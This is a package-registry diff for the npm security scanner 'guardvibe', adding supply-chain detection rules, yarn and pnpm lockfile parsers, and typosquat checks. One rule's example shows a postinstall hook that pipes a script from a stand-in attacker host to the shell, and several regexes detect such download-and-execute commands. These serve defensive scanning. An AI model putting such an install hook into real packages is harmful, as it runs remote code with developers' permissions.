guardvibe 2.3.7 → 2.3.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -5,7 +5,7 @@
5
5
  [![Node.js CI](https://github.com/goklab/guardvibe/actions/workflows/ci.yml/badge.svg)](https://github.com/goklab/guardvibe/actions/workflows/ci.yml)
6
6
  [![npm provenance](https://img.shields.io/badge/provenance-verified-brightgreen)](https://www.npmjs.com/package/guardvibe)
7
7
 
8
- **The security MCP built for vibe coding.** 307 security rules covering the entire AI-generated code journey — from first line to production deployment.
8
+ **The security MCP built for vibe coding.** 313 security rules covering the entire AI-generated code journey — from first line to production deployment.
9
9
 
10
10
  Works with **Claude Code, Cursor, Gemini CLI, Codex, VS Code (Copilot), Windsurf**, and any MCP-compatible coding agent.
11
11
 
@@ -13,7 +13,7 @@ Works with **Claude Code, Cursor, Gemini CLI, Codex, VS Code (Copilot), Windsurf
13
13
 
14
14
  Most security tools are built for enterprise security teams. GuardVibe is built for **you** — the developer using AI to build and ship web apps fast.
15
15
 
16
- - **307 security rules** purpose-built for the stacks AI agents generate
16
+ - **313 security rules** purpose-built for the stacks AI agents generate
17
17
  - **Zero setup friction** — `npx guardvibe` and you're scanning
18
18
  - **No account required** — runs 100% locally, no API keys, no cloud
19
19
  - **Understands your stack** — not generic SAST, but rules that know Next.js, Supabase, Stripe, Clerk, and the tools you actually use
@@ -39,7 +39,7 @@ GuardVibe is purpose-built for the AI coding workflow. Traditional tools are exc
39
39
  | CVE version detection | 21 packages | Extensive | Extensive |
40
40
  | Compliance mapping (SOC2, PCI-DSS, HIPAA) | Built-in | Paid tier | None |
41
41
  | SARIF CI/CD export | Yes | Yes | Limited |
42
- | Rule count | 307 (focused) | 5000+ (broad) | N/A |
42
+ | Rule count | 313 (focused) | 5000+ (broad) | N/A |
43
43
 
44
44
  **When to use GuardVibe:** You're building with AI agents and want security scanning integrated into your coding workflow — no dashboard, no account, no CI setup.
45
45
 
@@ -210,7 +210,7 @@ Malicious postinstall scripts, unpinned GitHub Actions, typosquat detection
210
210
 
211
211
  All scanning tools support `format: "json"` for machine-readable output.
212
212
 
213
- ## Security Rules (307 rules across 23 modules)
213
+ ## Security Rules (313 rules across 23 modules)
214
214
 
215
215
  | Category | Rules | Coverage |
216
216
  |----------|-------|----------|
@@ -230,7 +230,7 @@ All scanning tools support `format: "json"` for machine-readable output.
230
230
  | CVE Version Intelligence | 21 | Known vulnerable versions in package.json (21 CVEs) |
231
231
  | Shell / Bash | 5 | Pipe to bash, chmod 777, rm -rf, sudo password |
232
232
  | SQL | 4 | DROP/DELETE without WHERE, stacked queries, GRANT ALL |
233
- | Supply Chain | 10 | Malicious install scripts, unpinned actions, typosquat detection |
233
+ | Supply Chain | 16 | Malicious install scripts, lockfile integrity, dependency confusion, typosquat detection |
234
234
  | Go | 6 | SQL injection, command injection, template escaping |
235
235
  | Dockerfile | 7 | Root user, secrets in ENV, untagged images, non-root user |
236
236
  | CI/CD (GitHub Actions) | 7 | Secrets interpolation, unpinned actions, write-all permissions |
@@ -120,4 +120,76 @@ export const supplyChainRules = [
120
120
  fixCode: '// DANGEROUS — self-deleting payload:\n// "postinstall": "node setup.js && rm -f setup.js"\n\n// Legitimate scripts don\'t delete themselves:\n"scripts": {\n "postinstall": "patch-package"\n}',
121
121
  compliance: ["SOC2:CC7.1"],
122
122
  },
123
+ {
124
+ id: "VG870",
125
+ name: "Lockfile Missing Integrity Hash",
126
+ severity: "critical",
127
+ owasp: "A03:2025 Software Supply Chain Failures",
128
+ description: "A package in the lockfile (package-lock.json) is missing an integrity hash. Integrity hashes (sha512/sha256) ensure that the downloaded package matches what was originally resolved. Missing hashes indicate possible lockfile tampering — the exact technique used in the Axios supply chain attack (March 2026) where a malicious dependency was injected without proper integrity verification.",
129
+ pattern: /"node_modules\/[^"]+"\s*:\s*\{[^}]*"resolved"\s*:\s*"[^"]*"(?![^}]*"integrity")[^}]*\}/g,
130
+ languages: ["json"],
131
+ fix: "Run `npm install` with a clean node_modules to regenerate integrity hashes. If hashes were manually removed, investigate for lockfile tampering.",
132
+ fixCode: '// Healthy lockfile entry has integrity hash:\n"node_modules/axios": {\n "version": "1.7.9",\n "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.9.tgz",\n "integrity": "sha512-LhHLbBcJkvZz..."\n}\n\n// DANGEROUS — missing integrity:\n// "node_modules/axios": {\n// "version": "1.14.1",\n// "resolved": "https://registry.npmjs.org/axios/-/axios-1.14.1.tgz"\n// }',
133
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
134
+ },
135
+ {
136
+ id: "VG871",
137
+ name: "Non-Registry Tarball URL in Lockfile",
138
+ severity: "critical",
139
+ owasp: "A03:2025 Software Supply Chain Failures",
140
+ description: 'Lockfile contains a "resolved" URL pointing to a non-official npm registry. Legitimate packages resolve to registry.npmjs.org. Third-party or attacker-controlled registries can serve tampered packages. This is a key indicator of dependency substitution attacks.',
141
+ pattern: /"resolved"\s*:\s*"https?:\/\/(?!registry\.npmjs\.org\/)[^"]*\.tgz"/g,
142
+ languages: ["json"],
143
+ fix: "Verify the package source. If using a private registry, ensure it is your organization's approved registry. Remove any packages resolving to unknown hosts.",
144
+ fixCode: '// Safe — official npm registry:\n"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"\n\n// DANGEROUS — unknown registry:\n// "resolved": "https://evil-registry.com/lodash/-/lodash-4.17.21.tgz"',
145
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
146
+ },
147
+ {
148
+ id: "VG872",
149
+ name: "Dependency Confusion Risk — Unscoped Internal Package Name",
150
+ severity: "high",
151
+ owasp: "A03:2025 Software Supply Chain Failures",
152
+ description: 'Package dependency uses common internal naming patterns (e.g., prefixed with "internal-", "company-", "app-") without an npm scope (@org/). Unscoped packages with internal-sounding names are prime targets for dependency confusion attacks — an attacker publishes a higher-versioned package with the same name on the public registry.',
153
+ pattern: /"(?:internal-|company-|corp-|private-|infra-|platform-|service-|lib-|shared-|common-|core-|base-|app-|org-|team-|dept-)[a-z0-9-]+":\s*"[\^~]?\d/g,
154
+ languages: ["json"],
155
+ fix: "Use npm scopes (@your-org/package-name) for all internal packages. Configure .npmrc to route your scope to your private registry.",
156
+ fixCode: '// DANGEROUS — unscoped internal package (dependency confusion target):\n"dependencies": {\n "internal-auth": "^2.1.0"\n}\n\n// Safe — scoped to your org:\n"dependencies": {\n "@mycompany/internal-auth": "^2.1.0"\n}',
157
+ compliance: ["SOC2:CC7.1"],
158
+ },
159
+ {
160
+ id: "VG873",
161
+ name: "Suspicious Package Name — Deceptive Prefix/Suffix Pattern",
162
+ severity: "high",
163
+ owasp: "A03:2025 Software Supply Chain Failures",
164
+ description: 'Dependency uses a deceptive naming pattern that mimics a legitimate package with a prefix or suffix (e.g., "plain-crypto-js" mimicking "crypto-js", "real-lodash" mimicking "lodash"). This is the exact technique used in the Axios NPM supply chain attack (March 2026) where the injected "plain-crypto-js" package was a backdoor disguised as a crypto utility.',
165
+ pattern: /"(?:plain-|real-|original-|safe-|secure-|true-|actual-|verified-|legit-|official-|clean-|pure-|native-|simple-|fast-|super-|ultra-|better-|enhanced-|improved-|modern-|updated-)[a-z][\w.-]*":\s*"[\^~]?\d/g,
166
+ languages: ["json"],
167
+ fix: "Verify the package is legitimate. Check npm for the package author, publication date, and download count. Compare with the well-known package it appears to mimic.",
168
+ fixCode: '// DANGEROUS — deceptive prefix mimicking crypto-js:\n"dependencies": {\n "plain-crypto-js": "^1.0.0"\n}\n\n// Safe — use the real package:\n"dependencies": {\n "crypto-js": "^4.2.0"\n}',
169
+ compliance: ["SOC2:CC7.1"],
170
+ },
171
+ {
172
+ id: "VG874",
173
+ name: "Install Script Downloads and Executes Remote Code",
174
+ severity: "critical",
175
+ owasp: "A03:2025 Software Supply Chain Failures",
176
+ description: "Install script combines download and execution in a single command (e.g., curl|sh, wget|bash, fetch+eval). This is the most dangerous pattern in supply chain attacks — it downloads arbitrary code and immediately executes it with the developer's full permissions.",
177
+ pattern: /["'](?:post|pre)install["']\s*:\s*["'][^"']*(?:curl[^"']*\|\s*(?:sh|bash|node)|wget[^"']*\|\s*(?:sh|bash|node)|fetch\([^)]*\)[^"']*\.then[^"']*eval|npx\s+[^@\s][^"']*)/gi,
178
+ languages: ["json"],
179
+ fix: "Never pipe remote content directly to a shell. Download files first, verify checksums, then execute.",
180
+ fixCode: '// DANGEROUS — download and execute:\n// "postinstall": "curl https://evil.com/setup.sh | sh"\n\n// Safe — no remote execution in install scripts:\n"scripts": {\n "postinstall": "prisma generate"\n}',
181
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
182
+ },
183
+ {
184
+ id: "VG875",
185
+ name: "Lockfile Contains Deprecated SHA-1 Integrity",
186
+ severity: "medium",
187
+ owasp: "A03:2025 Software Supply Chain Failures",
188
+ description: "Lockfile uses SHA-1 integrity hashes instead of SHA-512. SHA-1 is cryptographically broken — collision attacks are practical. An attacker who can produce a SHA-1 collision could substitute a malicious package that passes integrity verification. Modern lockfiles should exclusively use SHA-512.",
189
+ pattern: /"integrity"\s*:\s*"sha1-[A-Za-z0-9+/=]+"/g,
190
+ languages: ["json"],
191
+ fix: "Delete node_modules and package-lock.json, then run `npm install` to regenerate with SHA-512 hashes. Ensure you are using npm >= 7.",
192
+ fixCode: '// WEAK — SHA-1 integrity (broken algorithm):\n"integrity": "sha1-abc123def456..."\n\n// Strong — SHA-512 integrity:\n"integrity": "sha512-abc123def456ghij..."',
193
+ compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.10"],
194
+ },
123
195
  ];
@@ -4,6 +4,10 @@ export function parseManifest(content, filename) {
4
4
  return parsePackageLock(content);
5
5
  if (lower === "package.json")
6
6
  return parsePackageJson(content);
7
+ if (lower === "yarn.lock")
8
+ return parseYarnLock(content);
9
+ if (lower === "pnpm-lock.yaml")
10
+ return parsePnpmLock(content);
7
11
  if (lower === "requirements.txt")
8
12
  return parseRequirementsTxt(content);
9
13
  if (lower === "go.mod")
@@ -77,6 +81,97 @@ function walkPackageLockDependencies(dependencies, packages) {
77
81
  }
78
82
  }
79
83
  }
84
+ function parseYarnLock(content) {
85
+ const packages = new Map();
86
+ // yarn.lock v1 format:
87
+ // "package@^version":
88
+ // version "1.2.3"
89
+ // resolved "https://registry.yarnpkg.com/..."
90
+ // integrity sha512-...
91
+ //
92
+ // yarn berry (v2+) format:
93
+ // "package@npm:^version":
94
+ // version: 1.2.3
95
+ // resolution: "package@npm:1.2.3"
96
+ const lines = content.split("\n");
97
+ let currentName = null;
98
+ for (const rawLine of lines) {
99
+ const line = rawLine.trimEnd();
100
+ // Skip comments and empty lines
101
+ if (!line || line.startsWith("#")) {
102
+ currentName = null;
103
+ continue;
104
+ }
105
+ // Package header line (not indented)
106
+ if (!line.startsWith(" ") && !line.startsWith("\t")) {
107
+ // Extract package name from patterns like:
108
+ // "axios@^1.7.0, axios@^1.7.9":
109
+ // axios@^1.7.0:
110
+ const headerMatch = line.match(/^"?(@?[^@\s,"]+)@/);
111
+ if (headerMatch) {
112
+ currentName = headerMatch[1];
113
+ }
114
+ else {
115
+ currentName = null;
116
+ }
117
+ continue;
118
+ }
119
+ // Version line (indented)
120
+ if (currentName) {
121
+ // v1: ' version "1.7.9"'
122
+ const v1Match = line.match(/^\s+version\s+"([^"]+)"/);
123
+ if (v1Match) {
124
+ const version = sanitizeVersion(v1Match[1]);
125
+ if (version) {
126
+ addPackage(packages, { name: currentName, version, ecosystem: "npm" });
127
+ }
128
+ currentName = null;
129
+ continue;
130
+ }
131
+ // berry: ' version: 1.7.9'
132
+ const berryMatch = line.match(/^\s+version:\s+(.+)/);
133
+ if (berryMatch) {
134
+ const version = sanitizeVersion(berryMatch[1].trim().replace(/^"|"$/g, ""));
135
+ if (version) {
136
+ addPackage(packages, { name: currentName, version, ecosystem: "npm" });
137
+ }
138
+ currentName = null;
139
+ continue;
140
+ }
141
+ }
142
+ }
143
+ return [...packages.values()];
144
+ }
145
+ function parsePnpmLock(content) {
146
+ const packages = new Map();
147
+ // pnpm-lock.yaml format (v6+):
148
+ // /@scope/package@1.2.3:
149
+ // resolution: {integrity: sha512-...}
150
+ //
151
+ // pnpm-lock.yaml format (v9+):
152
+ // '@scope/package@1.2.3':
153
+ // resolution: {integrity: sha512-...}
154
+ //
155
+ // Also handles packages section:
156
+ // /package@1.2.3:
157
+ const lines = content.split("\n");
158
+ for (const rawLine of lines) {
159
+ const line = rawLine.trimEnd();
160
+ // Match package entries like:
161
+ // '/@scope/package@1.2.3:' or ' /@scope/package@1.2.3:'
162
+ // '/package@1.2.3:'
163
+ // '@scope/package@1.2.3': (v9+ quoted format)
164
+ const pnpmMatch = line.match(/^\s+['"]?\/?(@?[a-zA-Z0-9][\w./-]*?)@(\d[^:'"\s]*)['"]?\s*:/);
165
+ if (pnpmMatch) {
166
+ const name = pnpmMatch[1];
167
+ const version = sanitizeVersion(pnpmMatch[2]);
168
+ if (version && name) {
169
+ addPackage(packages, { name, version, ecosystem: "npm" });
170
+ }
171
+ }
172
+ }
173
+ return [...packages.values()];
174
+ }
80
175
  function parseRequirementsTxt(content) {
81
176
  const packages = new Map();
82
177
  for (const line of content.split("\n")) {
@@ -72,11 +72,82 @@ export function levenshtein(a, b) {
72
72
  }
73
73
  return dp[m][n];
74
74
  }
75
+ // Deceptive prefixes used in supply chain attacks (e.g., "plain-crypto-js" → "crypto-js")
76
+ const DECEPTIVE_PREFIXES = [
77
+ "plain-", "real-", "original-", "safe-", "secure-", "true-", "actual-",
78
+ "verified-", "legit-", "official-", "clean-", "pure-", "native-", "simple-",
79
+ "fast-", "super-", "ultra-", "better-", "enhanced-", "improved-", "modern-",
80
+ "updated-", "new-", "my-", "the-", "a-", "node-", "js-", "ts-",
81
+ ];
82
+ // Deceptive suffixes (e.g., "lodash-utils" → "lodash", "express-js" → "express")
83
+ const DECEPTIVE_SUFFIXES = [
84
+ "-js", "-ts", "-node", "-utils", "-util", "-lib", "-helper", "-helpers",
85
+ "-core", "-plus", "-pro", "-next", "-new", "-v2", "-v3", "-latest",
86
+ "-fixed", "-patched", "-secure", "-safe", "-clean",
87
+ ];
88
+ /**
89
+ * Detects prefix/suffix squatting attacks.
90
+ * e.g., "plain-crypto-js" strips to "crypto-js" → exact match → high confidence typosquat.
91
+ */
92
+ function detectPrefixSuffixSquat(name) {
93
+ const lower = name.toLowerCase();
94
+ for (const prefix of DECEPTIVE_PREFIXES) {
95
+ if (lower.startsWith(prefix)) {
96
+ const stripped = lower.slice(prefix.length);
97
+ if (POPULAR_PACKAGES.includes(stripped)) {
98
+ return { similarTo: stripped, confidence: 0.95 };
99
+ }
100
+ // Also check Levenshtein against stripped name
101
+ for (const popular of POPULAR_PACKAGES) {
102
+ const popularBare = popular.startsWith("@") ? popular.split("/").pop() ?? popular : popular;
103
+ if (Math.abs(stripped.length - popularBare.length) <= 1 && levenshtein(stripped, popularBare) === 1) {
104
+ return { similarTo: popular, confidence: 0.85 };
105
+ }
106
+ }
107
+ }
108
+ }
109
+ for (const suffix of DECEPTIVE_SUFFIXES) {
110
+ if (lower.endsWith(suffix)) {
111
+ const stripped = lower.slice(0, -suffix.length);
112
+ if (POPULAR_PACKAGES.includes(stripped)) {
113
+ return { similarTo: stripped, confidence: 0.9 };
114
+ }
115
+ }
116
+ }
117
+ return null;
118
+ }
119
+ /**
120
+ * Detects separator manipulation attacks.
121
+ * e.g., "crypto_js" → "crypto-js", "crypto.js" → "crypto-js"
122
+ */
123
+ function detectSeparatorSquat(name) {
124
+ const lower = name.toLowerCase();
125
+ // Replace underscores and dots with hyphens, then check
126
+ const normalized = lower.replace(/[_.]/g, "-");
127
+ if (normalized !== lower && POPULAR_PACKAGES.includes(normalized)) {
128
+ return { similarTo: normalized, confidence: 0.9 };
129
+ }
130
+ // Reverse: replace hyphens with underscores/dots
131
+ const withUnderscore = lower.replace(/-/g, "_");
132
+ if (withUnderscore !== lower && POPULAR_PACKAGES.includes(withUnderscore)) {
133
+ return { similarTo: withUnderscore, confidence: 0.9 };
134
+ }
135
+ return null;
136
+ }
75
137
  export function detectTyposquat(name) {
76
138
  const lower = name.toLowerCase();
77
139
  // Exact match = not a typosquat
78
140
  if (POPULAR_PACKAGES.includes(lower))
79
141
  return null;
142
+ // 1. Check prefix/suffix squatting (highest priority — Axios attack pattern)
143
+ const prefixSuffix = detectPrefixSuffixSquat(lower);
144
+ if (prefixSuffix)
145
+ return prefixSuffix;
146
+ // 2. Check separator manipulation
147
+ const separator = detectSeparatorSquat(lower);
148
+ if (separator)
149
+ return separator;
150
+ // 3. Classic Levenshtein distance check
80
151
  // Strip scope for comparison
81
152
  const bareName = lower.startsWith("@") ? lower.split("/").pop() ?? lower : lower;
82
153
  let bestMatch = null;
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "guardvibe",
3
- "version": "2.3.7",
4
- "description": "Security MCP for vibe coding. 307 rules, 25 tools for Next.js, Supabase, Clerk, Stripe, Prisma, tRPC, Hono, GraphQL, Convex, Turso, Uploadthing, AI SDK, and the full AI-generated stack.",
3
+ "version": "2.3.9",
4
+ "description": "Security MCP for vibe coding. 313 rules, 25 tools for Next.js, Supabase, Clerk, Stripe, Prisma, tRPC, Hono, GraphQL, Convex, Turso, Uploadthing, AI SDK, and the full AI-generated stack.",
5
5
  "type": "module",
6
6
  "bin": {
7
7
  "guardvibe": "build/cli.js",